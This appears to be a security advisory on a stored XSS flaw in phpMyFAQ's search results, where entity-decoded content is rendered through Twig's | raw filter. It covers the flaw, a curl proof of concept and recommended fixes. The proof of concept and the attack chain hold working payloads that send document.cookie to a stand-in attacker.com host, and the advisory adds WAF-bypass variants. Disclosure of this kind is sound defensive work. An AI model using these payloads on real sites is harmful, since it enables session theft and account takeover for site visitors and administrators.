phpMyFAQ has stored XSS via | raw Filter in search.twig — html_entity_decode(strip_tags()) Bypass in Search Result Rendering

Summary

The search result rendering template (search.twig) outputs FAQ content fields result.question and result.answerPreview using Twig's | raw filter, which completely disables the template engine's built-in auto-escaping.

A user with FAQ editor/contributor privileges can store a payload encoded as HTML entities. During search result construction, html_entity_decode(strip_tags(...)) restores the raw HTML tags — bypassing strip_tags() — and the restored payload is injected into every visitor's browser via the | raw output.

This vulnerability is distinct from GHSA-cv2g-8cj8-vgc7 (affects faq.twig, bypass via regex mismatch in Filter::removeAttributes()) and is not addressed by the 4.1.1 patch.

Affected Files

Details

Vulnerability A (Primary): search.twig — | raw Disables Autoescape

File: phpmyfaq/assets/templates/default/search.twig

<a title="Test" href="{{ result.url }}">{{ result.question | raw }}</a>
<small class="small">{{ result.answerPreview | raw }}...</small>

Twig's autoescape encodes all variables by default. The | raw filter unconditionally disables this protection. Both result.question and result.answerPreview are populated from database content (FAQ records and custom pages) that can contain attacker-controlled data.

Seven (7) instances of | raw exist in search.twig:

{{ result.renderedScore | raw }}
{{ result.question | raw }}
{{ result.answerPreview | raw }}
{{ searchTags | raw }}
{{ relatedTags | raw }}
{{ pagination | raw }}
{{ 'help_search' | translate | raw }}

Each of these constitutes an independent XSS surface if its data source is compromised.

Vulnerability B (Amplifier): SearchController.php — html_entity_decode(strip_tags()) Bypass

File: phpmyfaq/src/phpMyFAQ/Controller/Api/SearchController.php

$data->answer = html_entity_decode(
    strip_tags((string) $data->answer),
    ENT_COMPAT,
    encoding: 'utf-8'
);

This pattern is a known security anti-pattern. When a payload is stored as HTML entities, strip_tags() passes it through unmodified (it sees no actual tags), and html_entity_decode() then restores the original HTML tags — reintroducing executable markup that was thought to be neutralized.

Bypass walkthrough:

Stored in DB:    <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
strip_tags()   → no change (no real tags detected)
               → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
html_entity_decode() → <svg onload=fetch('https://attacker.com/?c='+document.cookie)>
| raw output   → executes in browser

Attack Chain

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Payload injection

Attacker creates or edits a FAQ entry or custom page with an HTML-entity-encoded XSS payload in the question or answer body:

<svg onload=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>
<img src=x onerror=fetch('[https://attacker.com/?c='+document.cookie](https://attacker.com/?c=%27+document.cookie))>

Step 2 — Persistence

The payload is stored in the DB without HTML sanitization at the storage layer.

Step 3 — Victim triggers the XSS

Any user (including unauthenticated visitors and administrators) searches for a keyword matching the poisoned FAQ. The server:

1. Retrieves the record from the database
2. Applies strip_tags() → entity-encoded payload passes through
3. Applies html_entity_decode() → raw <svg onload=...> is restored
4. Passes the value to search.twig as result.answerPreview
5. Template renders with | raw → XSS executes

Step 4 — Impact

• Session cookie exfiltration → full account takeover
• Administrator session hijacking (admin visiting search page)
• Persistent attack: payload fires for every visitor until manually removed
• Potential for worm propagation via auto-created FAQ entries

PoC

Prerequisites: Attacker has FAQ editor / contributor role (low privilege).

Step 1 — Inject payload via FAQ editor:

curl -X POST 'https://target.example.com/admin/api/faq/create' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=<editor_session>' \
  -d '{
    "data": {
      "pmf-csrf-token": "<valid_csrf_token>",
      "question": "&lt;svg onload=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "answer": "&lt;img src=x onerror=fetch(\u0027https://attacker.com/?c=\u0027+document.cookie)&gt;",
      "lang": "en",
      "categories[]": 1,
      "active": "yes",
      "tags": "test",
      "keywords": "searchable-keyword",
      "author": "attacker",
      "email": "attacker@example.com"
    }
  }'

Step 2 — Trigger XSS as victim:

https://target.example.com/search.html?search=searchable-keyword

The search result page renders the restored <svg onload=...> payload. The attacker's server receives the victim's session cookie.

Alternative payloads (for WAF bypass):

<details open ontoggle=alert(document.cookie)>
<iframe srcdoc="<script>parent.location='https://attacker.com/?c='+document.cookie</script>">

Impact

• Confidentiality : Session cookie exfiltration and credential theft via JavaScript execution in victim's browser context.
• Integrity : DOM manipulation, phishing overlay injection.
• Scope : Attack crosses from contributor privilege context to all site visitors, including administrators.

Recommended Fix

Fix 1 (Critical) — Remove | raw from user-controlled fields in search.twig

- <a href="{{ result.url }}">{{ result.question | raw }}</a>
- <small>{{ result.answerPreview | raw }}...</small>
+ <a href="{{ result.url }}">{{ result.question }}</a>
+ <small>{{ result.answerPreview }}...</small>

If HTML formatting must be preserved, apply a whitelist-based sanitizer (e.g., ezyang/htmlpurifier) before passing data to the template, then retain | raw only for purified output.

Fix 2 (Critical) — Remove html_entity_decode() from search result pipeline SearchController.php

- $data->answer = html_entity_decode(
-     strip_tags((string) $data->answer),
-     ENT_COMPAT,
-     encoding: 'utf-8'
- );
+ $data->answer = strip_tags((string) $data->answer);
  $data->answer = Utils::makeShorterText(string: $data->answer, characters: 12);

Fix 3 (Recommended) — Audit all | raw usages in search.twig

The following additional | raw instances should be reviewed and sanitized:

{{ searchTags | raw }}       → apply HTML Purifier or remove | raw
{{ relatedTags | raw }}      → apply HTML Purifier or remove | raw
{{ pagination | raw }}       → safe only if generated entirely server-side with no user input

Fix 4 (Preventive) — Add htmlspecialchars() in logSearchTerm()

  $this->configuration->getDb()->escape($searchTerm)
+ htmlspecialchars(
+     $this->configuration->getDb()->escape($searchTerm),
+     ENT_QUOTES | ENT_HTML5,
+     'UTF-8'
+ )